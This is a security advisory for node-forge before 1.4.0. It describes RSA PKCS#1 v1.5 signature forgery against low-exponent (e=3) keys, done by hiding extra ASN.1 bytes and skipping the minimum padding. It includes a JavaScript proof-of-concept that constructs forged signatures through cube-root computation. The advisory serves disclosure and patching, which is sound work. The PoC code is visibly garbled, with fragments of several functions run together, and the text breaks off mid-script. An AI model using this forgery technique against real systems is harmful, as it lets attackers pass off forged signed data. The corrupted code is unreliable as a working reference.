GHSA-ppp5-5v6c-4jwp Forge has signature forgery in RSA-PKCS due to ASN.1 extra field

• npm node-forge: < 1.4.0 → fixed in 1.4.0

Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Impacted Deployments Tested commit: `8e1d527fe8ec2670499068db783172d4fb9012e5` Affected versions: tested on v1.3.3 (latest release) and recent prior versions. Configuration assumptions: • Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5). • `_parseAllDigestBytes: true` (default setting). Root Cause In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest. Two issues are present with this logic: 1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. `_decodePkcs1_v1_5` comments mention that PS repro_min.js ```javascript !/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length > 1n; if (mid * mid * mid { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len > 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for `msg` // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // `garbageLen` affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. // A small cap (8) is enough here: DER length-size transitions are discrete // and few ( cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8…